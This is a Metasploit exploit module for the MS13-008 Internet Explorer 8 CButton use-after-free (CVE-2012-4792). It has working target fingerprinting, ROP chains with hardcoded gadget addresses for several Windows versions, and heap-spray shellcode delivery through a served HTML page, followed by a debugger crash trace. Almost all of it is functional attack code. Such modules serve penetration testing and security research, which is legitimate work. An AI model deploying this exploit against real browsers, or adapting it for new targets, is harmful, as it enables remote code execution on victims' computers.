##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "8.0",
  #  :ua_maxver  => "8.0",
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :rank       => GoodRanking
  #})

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-008 Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in Microsoft Internet Explorer. A
        use-after-free condition occurs when a CButton object is freed, but a reference
        is kept and used again during a page reload, an invalid memory that's controllable
        is used, and allows arbitrary code execution under the context of the user.

          Please note: This vulnerability has been exploited in the wild targeting
        mainly China/Taiwan/and US-based computers.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'eromang',
          'mahmud ab rahman',
          'juan vazquez',      #Metasploit
          'sinn3r',            #Metasploit
          'Peter Vreugdenhil'  #New trigger & new exploit technique
        ],
      'References'     =>
        [
          [ 'CVE', '2012-4792' ],
          [ 'OSVDB', '88774' ],
          [ 'US-CERT-VU', '154201' ],
          [ 'BID', '57070' ],
          [ 'MSB', 'MS13-008' ],
          [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
          [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
          [ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ],
          [ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ],
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ]
        ],
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'Space'          => 1024,
          'DisableNops'    => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt } ],
          [ 'IE 8 on Windows Vista',        { 'Rop' => :jre    } ],
          [ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt } ],
          [ 'IE 8 on Windows 7',            { 'Rop' => :jre    } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Dec 27 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ])

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '5.2'
      os_name = 'Windows Server 2003'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    else
      # OS not supported
      return nil
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V")[0].to_i
  end

  def nop
    return make_nops(4).unpack("V")[0].to_i
  end

  def get_payload(t, cli)
    code = payload.encoded

    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    # Make post code execution more stable
    code << rand_text_alpha(12000)

    msvcrt_align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    java_align   = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000

    rop_payload = ''

    case t['Rop']
    when :msvcrt
      case t.name
      when 'IE 8 on Windows XP SP3'
        rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'xp'})
      when 'IE 8 on Windows Server 2003'
        rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'2003'})
      end
    else
      rop_payload = generate_rop_payload('java', java_align + code)
    end

    rop_payload
  end

  def load_exploit_html(my_target, cli)

    case my_target['Rop']
    when :msvcrt
      case my_target.name
      when 'IE 8 on Windows XP SP3'
        align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
        xchg_esp  = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
      when 'IE 8 on Windows Server 2003'
        align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
        xchg_esp  = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
      end
    else
      align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
      xchg_esp  = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
    end

    padding    = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
    js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))

    html = %Q|<!doctype html>
    <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
    <head>
    <meta>
      <?IMPORT namespace="t" implementation="#default#time2">
    </meta>

    <script>
    #{js_mstime_malloc}


    function helloWorld() {
      e_form = document.getElementById("formelm");
      e_div = document.getElementById("divelm");

      for(i =0; i < 20; i++) {
        document.createElement('button');
      }
      e_div.appendChild(document.createElement('button'));
      e_div.firstChild.applyElement(e_form);

      e_div.innerHTML = "";
      e_div.appendChild(document.createElement('body'));

      CollectGarbage();

      p = unescape("#{padding}");
      for (i=0; i < 3; i++) {
        p += unescape("#{padding}");
      }
      p += unescape("#{js_payload}");

      fo = unescape("#{align_esp}");
      for (i=0; i < 55; i++) {
        if (i == 54) { fo += unescape("#{xchg_esp}"); }
        else         { fo += unescape("#{align_esp}"); }
      }

      fo += p;

      mstime_malloc({shellcode:fo, heapBlockSize:0x58, objId:"myanim"});
    }
    </script>
    </head>

    <body onload="eval(helloWorld())">
    <t:ANIMATECOLOR id="myanim"/>
    <div id="divelm"></div>
    <form id="formelm">
    </form>
    </body>
    </html>
    |

    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    html = load_exploit_html(my_target, cli)
    html = html.gsub(/^ {4}/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end


=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000    call    dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37

0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
=end
